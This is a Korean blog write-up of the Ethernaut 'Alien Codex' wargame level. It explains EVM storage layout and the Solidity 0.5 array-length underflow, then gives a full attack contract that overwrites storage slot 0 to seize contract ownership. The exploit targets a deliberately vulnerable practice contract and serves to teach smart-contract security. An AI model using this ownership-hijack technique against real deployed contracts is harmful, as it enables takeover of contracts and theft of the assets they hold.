Ethernaut 19. Alien Codex

독수리박박·2024년 7월 26일
post-thumbnail

level 19 Alien Codex
이번 문제는 Ethernaut의 19번째 문제인 Alien Codex 입니다.
난이도는 별 4개로 풀기 위해서는 알아야 하는 개념들이 조금 어려운 편 입니다.

Problem


// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

위 컨트랙트의 소유권 즉 owner를 자신의 주소로 바꿔야 합니다.
얼핏 보기에는 위 컨트랙트는 Owner를 상속받을 뿐 owner 변수가 없다고 볼 수도 있지만 여기서 알아야할 점이 한가지 있습니다.
힌트에도 언급되어 있는 부분인데 evm Storage의 특징을 잘 알아야 합니다.

만약 컨트랙트가 어떤 컨트랙트를 상속 받는 다면 부모 컨트랙트의 스토리지에 저장되어 있는 값들을 자식 컨트랙트의 맨 앞에서부터 저장이 되게 됩니다.

자식 컨트랙트의 Storage slot 가장 앞 부분 부터 채워지게 됩니다.
그리고 0.5.0v의 Owner 컨트랙트에는 Storage slot 0에 owner가 저장되어 있습니다.

그렇다면 해당 문제 컨트랙트의 Starge slot 0에는 아래와 같이 데이터가 저장되어 있을 것 입니다.

bool contact(1byte)/owner address(20byte)

그리고 owner는 컨트랙트를 배포한 사람의 주소로 되어 있을 것 입니다.

그렇다면 Starge slot 0에 접근해 값을 자신의 주소로 변경하면 문제가 해결 됩니다.

Exploit


Underflow, Overflow

문제 컨트랙트의 버전은 ^0.5.0 입니다. 해당 버전에서는 아직 자동으로 underflow나 overflow 검사를 지원하지 않기 때문에 safemath나 조건을 걸어두지 않는다면 범위에서 벗어났을 때 최대 값이나 최소 값으로 숫자가 변하게 됩니다. 이 부분을 잘 활용해야 합니다. 잘 활용한 다면 스토리지의 어느 곳이든 접근할 수 있습니다. 저희는 Storage slot 0에 접근해야 하기 때문에 이 부분을 활용해 접근하면 됩니다.

Storage - Array

동적 배열이 스토리지에 저장되는 방법을 알아야 합니다.
동적 배열은 크기가 얼마나 될지 모르기 때문에 스토리지 충돌을 피하기 위해 데이터를 아래와 같은 slot에 저장하게 됩니다.

keccak256(storage slot) + i

이 부분을 알고 위 overflow나 underflow 문제와 결합하여 Starge slot 0에 접근해서 값을 바꿔야 합니다.

Target

function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;

위 함수를 통해 지정한 배열의 인덱스 위치에 존재하는 data의 값을 바꿀 수 있습니다.

keccak256(0x1) + index

이런식으로 Storage slot을 정해 해당 slot에 값을 저장할 것이기 때문에 위 값을 0으로 만들어주어야 합니다.
그러기 위해선 index를 2**256 + keccak256(0x1) 을 넣어 주어야 딱 최대값이 되면서 overflow가 일어나 저장할 slot의 위치가 0이 될 것 입니다.

Solution

공격 컨트랙트에서도 버전을 문제 컨트랙트와 같게 하여 underflow, overflow를 이용하겠습니다.

contract Attack {
    AlienCodex target;
    constructor(address _target) public  {
        target = AlienCodex(_target);
		
        target.makeContact();
        target.retract(); // make codex length ==> 2**256-1

        bytes32 targetIndex = keccak256(abi.encode(1));

        uint256 targetNum = 0;
        targetNum -= 1; // targetNum == 256**2-1
        targetNum -= uint256(targetIndex);
        targetNum += 1; // targetNum == 256**2 - targetIndex

        target.revise(targetNum, bytes32(uint256(address(msg.sender))));
    }

} 

컨트랙트가 배포만 되어도 공격이 진행될 수 있게 모두 생성자 함수 안에 구현하였습니다.

  1. makeContact을 먼저 호출하여 다른 함수들을 실행할 수 있도록 상태를 변경합니다.
  2. 배열의 길이를 -1 하는 함수를 호출해 underflow를 통해 배열의 길이를 최대로 늘려줍니다.
  3. 원하는 값을 구하기 위해 우선 배열이 데이터를 저장하는 slot을 계산합니다.
  4. 그리고 index로 넣을 값을 계산해 인자로 넣어주면 해당 함수에서는 저장을 원하는 slot이 딱 2**256이 되며 overflow로 인해 slot0에 넘겨준 값을 저장할 것 입니다. 값은 제 주소 입니다.

이렇게 Alien Codex 문제를 해결할 수 있었습니다.

0개의 댓글